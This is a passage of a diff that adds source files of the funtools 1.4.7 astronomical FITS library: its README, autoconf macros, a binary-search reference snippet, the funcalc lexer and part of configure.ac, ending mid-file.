# DO NOT DELETE THIS LINE -- make depend depends on it.

27
funtools-1.4.7/README Normal file
View File

@ -0,0 +1,27 @@
Funtools is a "minimal buy-in" FITS library and utility package
originally developed at the the High Energy Astrophysics Division of
SAO. Although no longer actively supported at SAO, it is still widely
used within the astronomical community, especially among X-ray astronomers.
The Funtools library provides simplified access to a wide array
of file types: standard astronomical FITS images and binary tables,
raw arrays and binary event lists, and even tables of ASCII column
data. A sophisticated region filtering library (compatible with ds9)
filters images and tables using Boolean operations between geometric
shapes, support world coordinates, etc. Funtools also supports
advanced capabilities such as optimized data searching using index files.
Because Funtools consists of a library and a set of user programs, it
is most appropriately built from source. Funtools has been ported to
Solaris, Linux, Mac OSX (Darwin) and Windows 98/NT/2000/XP. Once the
source code tar file is retrieved, Funtools can be built and installed
easily using standard commands:
./mkconfigure # generate all configure scripts
./configure --prefix=[installdir] # configuration
make # build the software
make install # install in [installdir]
See the INSTALL instructions (which are based on standard instructions
for building software using GNU configure) for more information about
building Funtools.

View File

@ -0,0 +1,36 @@
##### http://autoconf-archive.cryp.to/ac_c_long_long.html
#
# SYNOPSIS
#
# AC_C_LONG_LONG
#
# DESCRIPTION
#
# Provides a test for the existance of the long long int type and
# defines HAVE_LONG_LONG if it is found.
#
# LAST MODIFICATION
#
# 2006-10-30
#
# COPYLEFT
#
# Copyright (c) 2006 Caolan McNamara <caolan@skynet.ie>
#
# Copying and distribution of this file, with or without
# modification, are permitted in any medium without royalty provided
# the copyright notice and this notice are preserved.
AC_DEFUN([AC_C_LONG_LONG],
[AC_CACHE_CHECK(for long long int, ac_cv_c_long_long,
[if test "$GCC" = yes; then
ac_cv_c_long_long=yes
else
AC_TRY_COMPILE(,[long long int i;],
ac_cv_c_long_long=yes,
ac_cv_c_long_long=no)
fi])
if test $ac_cv_c_long_long = yes; then
AC_DEFINE(HAVE_LONG_LONG, 1, [compiler understands long long])
fi
])

2
funtools-1.4.7/aclocal.m4 vendored Normal file
View File

@ -0,0 +1,2 @@
builtin(include,tcl.m4)
builtin(include,ac_c_long_long.m4)

68
funtools-1.4.7/bsearch.c Normal file
View File

@ -0,0 +1,68 @@
/* http://www.tbray.org/ongoing/When/200x/2003/03/22/Binary */
/* returns first target if more than one have same value */
static public int search(int [] array, int target)
{
int high = array.length, low = -1, probe;
while (high - low > 1)
{
probe = (high + low) / 2;
if (array[probe] < target)
low = probe;
else
high = probe;
}
if (high == array.length || array[high] != target)
return -1;
else
return high;
}
/* returns last target if more than one have same value */
static public int search2(int [] array, int target)
{
int high = array.length, low = -1, probe;
while (high - low > 1)
{
probe = (high + low) / 2;
if (array[probe] > target)
high = probe;
else
low = probe;
}
if (low == -1 || array[low] != target)
return -1;
else
return low;
}
static public int [] range(int [] array, int floor, int ceiling)
{
int [] answer = new int[2];
int high, low, probe;
// work on floor
high = array.length; low = -1;
while (high - low > 1)
{
probe = (high + low) / 2;
if (array[probe] < floor)
low = probe;
else
high = probe;
}
answer[0] = low;
// work on ceiling
high = array.length; low = -1;
while (high - low > 1)
{
probe = (high + low) / 2;
if (array[probe] > ceiling)
high = probe;
else
low = probe;
}
answer[1] = high;
return answer;
}

36
funtools-1.4.7/calc.h Normal file
View File

@ -0,0 +1,36 @@
/*
* Copyright (c) 1999-2003 Smithsonian Astrophysical Observatory
*/
/*
*
* calc.h
*
*/
#ifndef __funcalc_h
#define __funcalc_h
#include <prsetup.h>
#ifndef FUNCALC_CC
#define FUNCALC_CC NULL
#endif
#ifndef FUNCALC_CFLAGS
#define FUNCALC_CFLAGS NULL
#endif
/* places to look for the compiler other than user's path */
#define FUNCALC_PATH "/opt/SUNWspro/bin:/bin:/usr/bin:/usr/local/bin/:/opt/local/bin:"
#define DEFAULT_FUNCALC_TMPDIR "/tmp"
#define FUNCALC_SED "funcalc.sed"
/* library declarations */
_PRbeg
void _CalcCat _PRx((char *str, char **ostr, int *olen));
_PRend
#endif /* __funtools.h */

802
funtools-1.4.7/calc.l Normal file
View File

@ -0,0 +1,802 @@
%option caseless
%array
%{
#include <ctype.h>
#include <funtoolsP.h>
#include <macro.h>
#include <calc.h>
#include <tabcalc_c.h>
/* define the types of event records we have to handle */
#define REC_CUR 1
#define REC_PREV 2
#define REC_NEXT 4
/* misc */
#define MAX_INCLUDE_DEPTH 100
#define SEGINC 1024
#define MAXCODE 4
/* symbols for each column we encounter */
typedef struct calccoltab {
struct calccoltab *next;
char *name;
char *sname;
char *cname;
char *tdim;
int type;
int n;
double tlmin;
double tlmax;
double binsiz;
double tscale;
double tzero;
int scaled;
int exists;
int settype;
} *CalcCols, CalcColRec;
static YY_BUFFER_STATE include_stack[MAX_INCLUDE_DEPTH];
static int include_stack_ptr = 0;
static Fun ifun;
static CalcCols columns;
static int laststart;
static char *prog;
static char *command;
static char *autodeclare;
static char *mbuf;
static int mlen;
static int n;
static int var;
static int rectype;
static int args;
static int doreplace=0;
static char *code[MAXCODE];
static char *expr;
static char **strptr=&expr;
static int ncode[MAXCODE];
static int nexpr;
static int xnl;
static int *lenptr=&nexpr;
static void setn _PRx((int newn));
static char *_CalcMake _PRx((void));
static int _CalcColProc _PRx((char *s, int expl));
static int _CalcColName _PRx((char *sname));
static CalcCols _CalcColNew _PRx((Fun fun,
char *name, char *sname, char *cname,
int type, int n,
double tlmin, double tlmax, double binsiz,
double tscale, double tzero, int scaled,
int exists, int settype));
static CalcCols _CalcColLookup _PRx((char *cname));
int _calcerror _PRx((char *msg));
%}
DIG [0-9]
DIG2 [0-9a-fA-F]
BINARY 0[bB][01]+
INT1 [-+]?{DIG}+L?
INT2 [-+]?0[xX]{DIG2}+L?
INT ({INT1}|{INT2})
FLOAT1 [-+]?{DIG}+\.?([eE][-+]?{DIG}+)?
FLOAT2 [-+]?{DIG}*\.{DIG}+([eE][-+]?{DIG}+)?
FLOAT ({FLOAT1}|{FLOAT2})
NUM ({INT}|{FLOAT})
SNAME (cur|prev|next)
NAME [A-Za-z~_][0-9A-Za-z~_]*(\[[0-9]+\])?
TYPE (\[{INT}\])?(:{NUM}?[a-z]?){1,4}
COL {SNAME}->{NAME}{TYPE}?
ECOL explicit
FILE @[0-9A-Za-z~_/\-\.]*(\[.*\])?
VAR [ \t]*(char|short|int|float|double)
INCL ^#[\t ]*include[ \t]*(\".*\"|<.*>)
DEF ^#[\t ]*define[ \t]+.*
XCOM #
BCOM "/*"
ECOM "*/"
%x INCLUDE
%x VAR
%x COM
%x XCOM
%x ECOL
%%
global { setn(0); var = 0; }
local { setn(1); var = 0; }
before { setn(2); var = 0; }
after { setn(3); var = 0; }
end { setn(-1); var = 0; }
{FILE} {
char *s;
if ( include_stack_ptr >= MAX_INCLUDE_DEPTH )
_calcerror("include files are nested too deeply");
if( !(s = (char *)FileContents(yytext+1, 0, NULL)) )
_calcerror("can't access include file");
else {
include_stack[include_stack_ptr++] = YY_CURRENT_BUFFER;
BEGIN INITIAL; yy_scan_string(s); BEGIN INITIAL;
if( s ) xfree(s);
}
}
{VAR} {
if( var ){ BEGIN VAR; setn(1); }
_CalcCat(yytext, strptr, lenptr);
}
<VAR>; {
_CalcCat(yytext, strptr, lenptr);
_CalcCat("\n", strptr, lenptr);
if( var ){ BEGIN INITIAL; setn(-1); }
}
<VAR>. { _CalcCat(yytext, strptr, lenptr); }
{INCL} { _CalcCat(yytext, strptr, lenptr); }
{DEF} { _CalcCat(yytext, strptr, lenptr); }
^[ \t]*{XCOM} { laststart = YY_START; xnl=0; BEGIN XCOM; }
{XCOM} { laststart = YY_START; xnl=1; BEGIN XCOM; }
<XCOM>\n { BEGIN laststart; if( xnl ) unput('\n'); }
<XCOM>. { /* ignore comments up to eol */ ; }
{BCOM} {
_CalcCat(yytext, strptr, lenptr);
laststart = YY_START; BEGIN COM;
}
<COM>{ECOM} { _CalcCat(yytext, strptr, lenptr); BEGIN laststart; }
<COM>\n { _CalcCat(yytext, strptr, lenptr); }
<COM>. { _CalcCat(yytext, strptr, lenptr); }
{COL} { _CalcColProc(yytext, 0); var=0;}
{ECOL} { laststart = YY_START; BEGIN ECOL; }
<ECOL>{NAME} { _CalcColProc(yytext, 1); var=0; }
<ECOL>[, \t] { ; }
<ECOL>\n { BEGIN laststart; }
\n { _CalcCat(yytext, strptr, lenptr);}
[ \t]* { _CalcCat(yytext, strptr, lenptr);}
. { _CalcCat(yytext, strptr, lenptr); var=0;}
<<EOF>> {
if ( --include_stack_ptr < 0 ){
prog = _CalcMake();
yy_delete_buffer( YY_CURRENT_BUFFER );
yyterminate();
} else {
yy_delete_buffer( YY_CURRENT_BUFFER );
yy_switch_to_buffer(include_stack[include_stack_ptr] );
}
}
%%
/*
*
* Private Routines
*
*
*/
/* setn -- set pointer to where expression is stored */
#ifdef YY_USE_PROTOS
static void setn(int newn)
#else
static void setn(newn)
int newn;
#endif
{
if( newn >=0 ){
n = newn;
strptr = &code[n]; lenptr = &ncode[n];
}
else{
strptr = &expr; lenptr = &nexpr;
}
}
/*
*
* _CalcDatatype -- return C data type as a string
*
*/
#ifdef YY_USE_PROTOS
static char *
_CalcDatatype(int type)
#else
static char *_CalcDatatype(type)
int type;
#endif
{
switch ( type ) {
case 'A': return "char";
case 'X': return "char";
case 'B': return "unsigned char";
case 'I': return "short";
case 'U': return "unsigned short";
case 'J': return "int";
case 'K': return "long long";
case 'V': return "unsigned int";
case 'L': return "char";
case 'E': return "float";
case 'D': return "double";
}
_calcerror("unknown/illegal data type for new column");
return "???";
}
/*
*
* _CalcColName -- see if sname is a recognized column name
*
*/
#ifdef YY_USE_PROTOS
static int
_CalcColName(char *sname)
#else
static int _CalcColName(sname)
char *sname;
#endif
{
if( !strcasecmp(sname, "prev") ){
strcpy(sname, "prev");
rectype |= REC_PREV;
return REC_PREV;
}
if( !strcasecmp(sname, "cur") ){
strcpy(sname, "cur");
rectype |= REC_CUR;
return REC_CUR;
}
if( !strcasecmp(sname, "next") ){
strcpy(sname, "next");
rectype |= REC_NEXT;
return REC_NEXT;
}
else{
return 0;
}
}
/*
*
* _CalcCB -- macro expansion callback
*
*/
#ifdef YY_USE_PROTOS
static char *
_CalcCB(char *name, void *client_data)
#else
static char *_CalcCB(name, client_data)
char *name;
void *client_data;
#endif
{
CalcCols cur;
char tbuf[SZ_LINE];
char tbuf2[SZ_LINE*2];
char tbuf3[SZ_LINE];
int i, got, ip;
/* start at beginning of macro buffer */
/* allocate the macro buffer */
if( mbuf ) xfree(mbuf);
mbuf = NULL;
mlen = SZ_LINE;
if( !strcmp(name, "MEMBERS") ){
if( !columns ){
_CalcCat("int dummy;\n", &mbuf, &mlen);
return mbuf;
}
for(cur=columns; cur!=NULL; cur=cur->next){
snprintf(tbuf, SZ_LINE, "%s %s", _CalcDatatype(cur->type), cur->cname);
_CalcCat(tbuf, &mbuf, &mlen);
if( cur->n > 1 ){
/* if there is no tdim, just make it a simple array */
/* (also, do the simple thing for bit-fields) */
if( (cur->tdim == NULL) || (cur->type == 'X') ){
switch(cur->type){
case 'X':
i = (cur->n+7)/8;
break;
default:
i = cur->n;
break;
}
snprintf(tbuf, SZ_LINE, "[%d]", i);
}
/* tdim exists, so use it to declare a multidimensional array */
else{
newdtable(",()");
/* I hear tdim is in Fortran order, so reverse it for C order */
for(*tbuf = '\0', ip=0, got=0; word(cur->tdim, tbuf3, &ip); got++){
snprintf(tbuf2, SZ_LINE, "[%s]", tbuf3);
if( *tbuf )
strcat(tbuf2, tbuf);
strcpy(tbuf, tbuf2);
}
freedtable();
/* but if we got nothing out of it, go back to simplicity */
if( !got )
snprintf(tbuf, SZ_LINE, "[%d]", cur->n);
}
_CalcCat(tbuf, &mbuf, &mlen);
}
_CalcCat(";", &mbuf, &mlen);
if( cur->next )
_CalcCat("\n", &mbuf, &mlen);
}
return mbuf;
}
else if( !strcmp(name, "SELECT") ){
if( !columns ){
return "";
}
for(cur=columns; cur!=NULL; cur=cur->next){
*tbuf2 = '\0';
if( (cur->tlmin != 0.0) || (cur->tlmax != 0.0) ){
snprintf(tbuf2, SZ_LINE, "%f:%f", cur->tlmin, cur->tlmax);
if( cur->binsiz != 1.0 ){
snprintf(tbuf3, SZ_LINE, ":%f", cur->binsiz);
strncat(tbuf2, tbuf3, SZ_LINE);
}
if( (cur->tscale != 1.0) || (cur->tzero != 0.0) ){
snprintf(tbuf3, SZ_LINE, ";%f", cur->tscale);
strncat(tbuf2, tbuf3, SZ_LINE);
snprintf(tbuf3, SZ_LINE, ":%f", cur->tzero);
strncat(tbuf2, tbuf3, SZ_LINE);
}
}
if( *tbuf2 ){
snprintf(tbuf, SZ_LINE, "\"%s\", \"%d%c:%s\", ",
cur->cname, cur->n, cur->type, tbuf2);
}
else{
snprintf(tbuf, SZ_LINE, "\"%s\", \"%d%c\", ",
cur->cname, cur->n, cur->type);
}
_CalcCat(tbuf, &mbuf, &mlen);
if( cur->exists )
_CalcCat("\"rw\", ", &mbuf, &mlen);
else
_CalcCat("\"w\", ", &mbuf, &mlen);
snprintf(tbuf, SZ_LINE, "FUN_OFFSET(Row, %s),", cur->cname);
_CalcCat(tbuf, &mbuf, &mlen);
if( cur->next )
_CalcCat("\n", &mbuf, &mlen);
}
return mbuf;
}
else if( !strcmp(name, "RECTYPE") ){
snprintf(tbuf, SZ_LINE, "%d", rectype);
_CalcCat(tbuf, &mbuf, &mlen);
return mbuf;
}
else if( !strcmp(name, "EXPR") ){
if( expr && *expr )
return(expr);
else
return "";
}
else if( !strcmp(name, "COMMAND") ){
if( command && *command )
return(command);
else
return "<build command not available>";
}
else if( !strcmp(name, "ARGS") ){
if( args == 1 )
return "1";
else
return "2";
}
else if( !strcmp(name, "AUTO") ){
if( autodeclare && *autodeclare )
return autodeclare;
else
return "";
}
else if( !strcmp(name, "GLOBAL") ){
if( code[0] && *code[0] )
return(code[0]);
else
return "";
}
else if( !strcmp(name, "LOCAL") ){
if( code[1] && *code[1] )
return(code[1]);
else
return "";
}
else if( !strcmp(name, "BEFORE") ){
if( code[2] && *code[2] )
return(code[2]);
else
return "";
}
else if( !strcmp(name, "AFTER") ){
if( code[3] && *code[3] )
return(code[3]);
else
return "";
}
else if( !strcmp(name, "MERGE") ){
if( doreplace )
strncpy(tbuf, "replace", SZ_LINE);
else
strncpy(tbuf, "update", SZ_LINE);
_CalcCat(tbuf, &mbuf, &mlen);
return mbuf;
}
else{
_CalcCat("$", &mbuf, &mlen);
_CalcCat(name, &mbuf, &mlen);
return mbuf;
}
}
/*
*
* _CalcMake -- create the string containing the program by macro expansion
*
*/
#ifdef YY_USE_PROTOS
static char *
_CalcMake(void)
#else
static char *_CalcMake()
#endif
{
char *s;
/* make sure we have something */
if( !expr || !*expr )
expr = xstrdup(";");
s = xstrdup(expr);
nowhite(s, expr);
if( s ) xfree(s);
/* add final ';' is necessary (but not if there is any compund statement) */
if( !strchr(expr,';') && !strchr(expr,'{') )
_CalcCat(";", &expr, &nexpr);
/* expand program body to add specifics of the expression */
s = ExpandMacro(TABCALC_C, NULL, NULL, 0, _CalcCB, NULL);
return s;
}
/* look up a column entry, add if not present */
#ifdef YY_USE_PROTOS
CalcCols
_CalcColLookup(char *cname)
#else
CalcCols
_CalcColLookup(cname)
char *cname;
#endif
{
CalcCols cur;
for(cur=columns; cur!=NULL; cur=cur->next){
if( !strcasecmp(cname, cur->cname) )
return cur;
}
return NULL;
}
/* look up a symbol table entry, add if not present */
#ifdef YY_USE_PROTOS
CalcCols
_CalcColNew(Fun fun, char *name, char *sname, char *cname, int type, int n,
double tlmin, double tlmax, double binsiz,
double tscale, double tzero, int scaled,
int exists, int settype)
#else
CalcCols
_CalcColNew(fun, name, sname,
cname, type, n, tlmin, tlmax, binsiz,
tscale, tzero, scaled,
exists, settype)
Fun fun;
char *name, *sname, *cname;
int type, n;
double tlmin, tlmax, binsiz;
double tscale, tzero;
int scaled, exists, settype;
#endif
{
CalcCols sym, cur;
int got;
int enter=1;
if( (sym=_CalcColLookup(cname)) ){
if( !settype ) return sym;
enter=0;
}
else{
/* allocate a new symbol record */
if( !(sym = (CalcCols)xcalloc(1, sizeof(CalcColRec))) )
return NULL;
}
/* fill in the blanks */
if( sym->name ) xfree(sym->name);
sym->name = xstrdup(name);
if( sym->sname ) xfree(sym->sname);
sym->sname = xstrdup(sname);
if( sym->cname ) xfree(sym->cname);
sym->cname = xstrdup(cname);
sym->type = type;
sym->n = n;
sym->tlmin = tlmin;
sym->tlmax = tlmax;
sym->binsiz = binsiz;
sym->tscale = tscale;
sym->tzero = tzero;
sym->scaled = scaled;
sym->exists = exists;
sym->settype = settype;
/* get tdim value, if there is one */
if( sym->exists && (sym->n>1) )
sym->tdim = FunParamGets(fun, "TDIM", exists, NULL, &got);
/* add to list, maintaining order */
if( enter ){
if( !columns ){
columns = sym;
}
else{
for(cur=columns; cur->next!=NULL; cur=cur->next)
;
cur->next = sym;
}
}
return sym;
}
/* process a column */
#ifdef YY_USE_PROTOS
static int
_CalcColProc(char *s, int expl)
#else
static int _CalcColProc(s, expl)
char *s;
int expl;
#endif
{
char *e;
char *t;
char name[SZ_LINE];
char sname[SZ_LINE];
char cname[SZ_LINE];
char aname[SZ_LINE];
char fname[SZ_LINE];
int ptype;
int poff;
int exists;
int dims;
int settype=0;
int type=0;
int n=0;
int scaled=0;
double tlmin=0.0, tlmax=0.0, binsiz=1.0;
double tscale=1.0, tzero=0.0;
/* save expression */
e = s;
/* gather struct name */
for(t=sname; *s && (*s != '-');)
*t++ = *s++;
*t = '\0';
/* skip past "->" */
if( *s && (*s == '-') ) s += 2;
/* if this is not a special name, just append it and exit */
if( !_CalcColName(sname) ){
if( !expl ){
_CalcCat(e, &expr, &nexpr);
return 1;
}
}
/* gather column name */
for(t=cname; *s && (*s != '[') && (*s != ':');)
*t++ = *s++;
*t = '\0';
/* explicit columns don't have the prefix */
if( expl && *sname && !*cname ){
strncpy(cname, sname, SZ_LINE);
strncpy(sname, "cur", SZ_LINE);
}
/* gather array part */
if( *s && (*s == '[') ){
for(t=aname; *s && (*s != ':');)
*t++ = *s++;
*t = '\0';
}
else
*aname = '\0';
if( *aname )
snprintf(fname, SZ_LINE, "%s->%s%s", sname, cname, aname);
else
snprintf(fname, SZ_LINE, "%s->%s", sname, cname);
/* the expression name is the combination of sname (which we will set to
a struct we know about) and cname (which is a struct member name) */
snprintf(name, SZ_LINE, "%s->%s", sname, cname);
/* see if this column exists or if its new */
exists = FunColumnLookup(ifun, cname, 0, NULL, &type, NULL, NULL, &n, NULL);
/* gather up specifier info */
for(; *s; s++){
if( *s == ':' ){
_FunColumnType(s+1, &type, &n, &tlmin, &tlmax, &binsiz, &dims,
&tscale, &tzero, &scaled, &ptype, &poff);
settype = 1;
break;
}
}
if( !exists && !settype && !_CalcColLookup(cname) )
_calcerror("new column requires a type");
if( exists && settype )
doreplace=1;
/* add this column to the list */
if(_CalcColNew(ifun, name, sname, cname,
type, n, tlmin, tlmax, binsiz,
tscale, tzero, scaled,
exists, settype)){
if( !expl ) _CalcCat(fname, &expr, &nexpr);
return 1;
}
else{
return _calcerror("could not enter new funcalc column");
}
}
/*
*
* Semi-public Routines
*
*
*/
/*
*
* _CalcCat -- add a string to the filter string buffer
*
*/
#ifdef YY_USE_PROTOS
void
_CalcCat(char *str, char **ostr, int *olen)
#else
void _CalcCat(str, ostr, olen)
char *str;
char **ostr;
int *olen;
#endif
{
int blen;
int slen;
if( (str == NULL) || (*str == '\0') )
return;
else
slen = strlen(str) + 1;
if( (*ostr == NULL) || (**ostr == '\0') )
blen = 0;
else
blen = strlen(*ostr);
while( (blen + slen) >= *olen ){
*olen += SEGINC;
}
if( blen == 0 )
*ostr = (char *)xcalloc(*olen, sizeof(char));
else
*ostr = (char *)xrealloc(*ostr, *olen);
strcat(*ostr, str);
}
#ifdef YY_USE_PROTOS
char *
FunCalcParse(char *iname, char *oname,
char *cmd, char *ex, char *autod, int narg)
#else
char *FunCalcParse(iname, oname, cmd, ex, autod, narg)
char *iname;
char *oname;
char *cmd;
char *ex;
char *autod;
int narg;
#endif
{
int i;
/* initialize global variables */
n = 0;
rectype = REC_CUR;
var = 1;
args = narg;
/* save command */
if( command ) xfree(command);
command = xstrdup(cmd);
/* save autodeclare */
if( autodeclare ) xfree(autodeclare);
autodeclare = xstrdup(autod);
/* open the input FITS file */
if( !(ifun = FunOpen(iname, "rc", NULL)) )
gerror(stderr, "can't FunOpen input file (or find extension): %s\n",
iname);
/* parse expression */
yy_scan_string(ex);
yylex();
/* done with input FITS file */
FunClose(ifun);
/* free up space */
if( expr ){
xfree(expr);
expr = NULL;
}
nexpr = 0;
for(i=0; i<MAXCODE; i++){
if( code[i] ){
xfree(code[i]);
code[i] = NULL;
}
ncode[i] = 0;
}
if( mbuf ){
xfree(mbuf);
mbuf = NULL;
mlen = 0;
}
/* return resulting program */
return prog;
}
#ifdef YY_USE_PROTOS
int
_calcerror(char *msg)
#else
int _calcerror(msg)
char *msg;
#endif
{
if( *yytext )
gerror(stderr, "%s while processing '%s'\n",
msg ? msg : "filterr", yytext);
else
gerror(stderr, "%s\n", msg ? msg : "filterr");
YY_FLUSH_BUFFER;
yyterminate();
}
#ifdef YY_USE_PROTOS
int yywrap(void)
#else
int yywrap()
#endif
{
return 1;
}

5
funtools-1.4.7/chandra.h Normal file

File diff suppressed because one or more lines are too long

63
funtools-1.4.7/conf.h.in Normal file
View File

@ -0,0 +1,63 @@
/* Define as 1 if this compiler supports long long. */
#undef HAVE_LONG_LONG
/* Define as 1 if you have string.h */
#undef HAVE_STRING_H
/* Define as 1 if you have stdlib.h */
#undef HAVE_STDLIB_H
/* Define as 1 if you have malloc.h */
#undef HAVE_MALLOC_H
/* Define as 1 if you have limits.h */
#undef HAVE_LIMITS_H
/* Define as 1 if you have unistd.h */
#undef HAVE_UNISTD_H
/* Define as 1 if you have getopt.h */
#undef HAVE_GETOPT_H
/* Define as 1 if you have values.h */
#undef HAVE_VALUES_H
/* Define as 1 if you have dlfcn.h */
#undef HAVE_DLFCN_H
/* Define as 1 if you have sys/un.h */
#undef HAVE_SYS_UN_H
/* Define as 1 if you have sys/shm.h */
#undef HAVE_SYS_SHM_H
/* Define as 1 if you have sys/mman.h */
#undef HAVE_SYS_MMAN_H
/* Define as 1 if you have sys/ipc.h */
#undef HAVE_SYS_IPC_H
/* Define as 1 if you have socklen_t */
#undef HAVE_SOCKLEN_T
/* Define as 1 if you have strchr */
#undef HAVE_STRCHR
/* Define as 1 if you have memcpy */
#undef HAVE_MEMCPY
/* Define as 1 if you have snprintf */
#undef HAVE_SNPRINTF
/* Define as 1 if you have Tcl */
#undef HAVE_TCL
/* Define as 1 if you have Xt */
#undef HAVE_XT
/* Define as 1 if you are running Cygwin. */
#undef HAVE_CYGWIN
/* Define as 1 if you are running MinGW. */
#undef HAVE_MINGW32

1462
funtools-1.4.7/config.guess vendored Executable file

File diff suppressed because it is too large Load Diff

1823
funtools-1.4.7/config.sub vendored Executable file

File diff suppressed because it is too large Load Diff

7001
funtools-1.4.7/configure-failsafe Executable file

File diff suppressed because it is too large Load Diff

286
funtools-1.4.7/configure.ac Normal file
View File

@ -0,0 +1,286 @@
# This file is an input file used by the GNU "autoconf" program to
# generate the file "configure", which is run during XPA installation
# to configure the system for the local environment.
AC_INIT(funtools, 1.4.7, saord@cfa.harvard.edu, funtools)
AC_CONFIG_HEADERS([conf.h ./gnu/conf.h ./funtest/conf.h])
AC_CONFIG_SRCDIR([./funtools.h])
AC_CANONICAL_HOST
#
# checks that we use in most projects
#
AC_PROG_CC
AC_EXEEXT
if test x"${EXEEXT}" = "xno"; then
EXEEXT=""
fi
AC_C_LONG_LONG
AC_PROG_RANLIB
AC_HEADER_STDC
AC_CHECK_HEADERS(malloc.h)
AC_CHECK_HEADERS(getopt.h)
AC_CHECK_HEADERS(values.h)
AC_CHECK_HEADERS(dlfcn.h)
AC_CHECK_HEADERS(sys/un.h)
AC_CHECK_HEADERS(sys/ipc.h)
AC_CHECK_HEADERS(sys/mman.h)
case $host_os in
*cygwin*|*Cygwin* )
;;
* )
AC_CHECK_HEADERS(sys/shm.h)
;;
esac
AC_CHECK_TYPES([socklen_t], [], [], [#include <sys/socket.h>])
AC_C_CONST
AC_CHECK_FUNCS(strchr memcpy snprintf)
AC_CHECK_FUNC(connect)
if test $ac_cv_func_connect = no; then
AC_CHECK_LIB(socket, connect, EXTRA_LIBS="$EXTRA_LIBS -lsocket")
fi
AC_CHECK_FUNC(gethostbyname)
if test $ac_cv_func_gethostbyname = no; then
AC_CHECK_LIB(nsl, gethostbyname, EXTRA_LIBS="$EXTRA_LIBS -lnsl")
fi
# AC_CHECK_LIB(db, snprintf, EXTRA_LIBS="$EXTRA_LIBS -ldb")
#
# checks specific to this project
#
AC_MSG_CHECKING(for filter cc)
AC_ARG_WITH(filter-cc, [ --with-filter-cc=CC compiler],
FILTER_CC=\\\"$withval\\\", FILTER_CC=NULL)
AC_MSG_RESULT($FILTER_CC)
AC_SUBST(FILTER_CC)
AC_MSG_CHECKING(for filter cflags)
AC_ARG_WITH(filter-cflags, [ --with-filter-cflags=CFLAGS compiler flags],
FILTER_CFLAGS=\\\"$withval\\\", FILTER_CFLAGS=NULL)
AC_MSG_RESULT($FILTER_CFLAGS)
AC_SUBST(FILTER_CFLAGS)
DEFLIB="libfuntools.a"
AC_MSG_CHECKING(for alternate target library)
AC_ARG_WITH(altlib, [ --with-altlib=LIB library name],
alt_lib=yes LIB=$withval, alt_lib=no LIB=$DEFLIB)
AC_MSG_RESULT($alt_lib ($LIB))
AC_SUBST(LIB)
AC_SUBST(DEFLIB)
AC_MSG_CHECKING(for external zlib)
AC_ARG_WITH(zlib, [ --with-zlib=LIB library name],
zlib=yes EXTRA_LIBS="$EXTRA_LIBS $withval", zlib=no)
AC_MSG_RESULT($zlib)
AC_MSG_CHECKING(for external wcslib)
AC_ARG_WITH(wcslib, [ --with-wcslib=LIB library name],
wcslib=yes EXTRA_LIBS="$EXTRA_LIBS $withval", wcslib=no)
AC_MSG_RESULT($wcslib)
AC_MSG_CHECKING(for shared library build)
AC_ARG_ENABLE(shared, [ --enable-shared build shared libraries],
[fun_ok=$enableval], [fun_ok=no])
if test "$fun_ok" != "no"; then
fpic="yes"
DOSHARED=shlib
AC_SUBST(DOSHARED)
if test "$fun_ok" = "link"; then
AC_CHECK_LIB(dl, dlopen, have_dl=yes, have_dl=no)
if test "$have_dl" = yes; then
using_shlib="yes"
fpic="yes"
EXTRA_LIBS="$EXTRA_LIBS -ldl"
if test `$CC -v -rdynamic 2>&1 | grep -c unrecognized` = "0" ; then
LDFLAGS="$LDFLAGS -rdynamic"
fi
else
AC_CHECK_LIB(c, dlopen, have_dl=yes, have_dl=no)
if test "$have_dl" = yes; then
using_shlib="yes"
fpic="yes"
if test `$CC -v -rdynamic 2>&1 | grep -c unrecognized` = "0" ; then
LDFLAGS="$LDFLAGS -rdynamic"
fi
else
using_shlib="no"
fi
fi
LLIB="-L. -l$PACKAGE_NAME"
else
LLIB='$(LIB)'
fi
else
LLIB='$(LIB)'
fi
AC_SUBST(LLIB)
AC_MSG_RESULT($fun_ok)
AC_MSG_CHECKING([for dynamic loading of filters ])
AC_ARG_ENABLE(dl, [ --enable-dl allow use of dynamic loading if available],
[fun_ok=$enableval], [fun_ok=no])
if test "$fun_ok" = "yes"; then
if test "$CC" = "gcc" -o `$CC -v 2>&1 | grep -c gcc` != "0" ; then
using_dl="yes"
if test x"$using_shlib" != xyes; then
AC_CHECK_LIB(dl, dlopen, have_dl=yes, have_dl=no)
if test "$have_dl" = yes; then
USE_DL="-DUSE_DL=1"
fpic="yes"
EXTRA_LIBS="$EXTRA_LIBS -ldl"
if test `$CC -v -rdynamic 2>&1 | grep -c unrecognized` = "0" ; then
LDFLAGS="$LDFLAGS -rdynamic"
fi
else
AC_CHECK_LIB(c, dlopen, have_dl=yes, have_dl=no)
if test "$have_dl" = yes; then
USE_DL="-DUSE_DL=1"
fpic="yes"
if test `$CC -v -rdynamic 2>&1 | grep -c unrecognized` = "0" ; then
LDFLAGS="$LDFLAGS -rdynamic"
fi
else
using_dl="no"
fi
fi
fi
else
using_dl="no"
fi
else
using_dl="no"
fi
AC_MSG_RESULT([$using_dl ($CC)])
AC_SUBST(USE_DL)
AC_ARG_ENABLE(fpu_double, [ --enable-fpu_double set FPU in double round mode],
[fun_ok=$enableval], [fun_ok=no])
if test "$fun_ok" = "yes"; then
AC_MSG_CHECKING([for setting fpu in double rounding mode (with gcc) ])
if test "$CC" = "gcc" -o `$CC -v 2>&1 | grep -c gcc` != "0" ; then
using_fpu_double="yes"
USE_FPU_DOUBLE="1"
else
using_fpu_double="no"
USE_FPU_DOUBLE="0"
fi
AC_MSG_RESULT([$using_fpu_double])
else
USE_FPU_DOUBLE="0"
fi
AC_SUBST(USE_FPU_DOUBLE)
AC_MSG_CHECKING(for mainlib build)
DOMAINLIB=""
AC_ARG_ENABLE(mainlib, [ --enable-mainlib build funtools mainlib support],
[fun_ok=$enableval], [fun_ok=no])
if test "$fun_ok" = "yes"; then
DOMAINLIB=mainlib
elif test "$fun_ok" = "shared"; then
DOMAINLIB=shmainlib
fi
AC_SUBST(DOMAINLIB)
AC_MSG_RESULT($fun_ok)
SC_PATH_TCLCONFIG
if test x"${no_tcl}" = x ; then
AC_DEFINE([HAVE_TCL], [1], [Define if tcl is used.])
fi
AC_PROG_AWK
AC_CHECK_PROG(gzip, gzip, gzip, none)
if test "$gzip" = "none"; then
GUNZIP="cat"
else
GUNZIP="$gzip -dcf"
fi
AC_CHECK_PROG(gnuplot, gnuplot, gnuplot, none)
if test "$gnuplot" = "none"; then
GNUPLOT="NONE"
else
GNUPLOT="$gnuplot"
fi
AC_MSG_CHECKING([$host_os configuration])
PRE=""
POST="|\& cat"
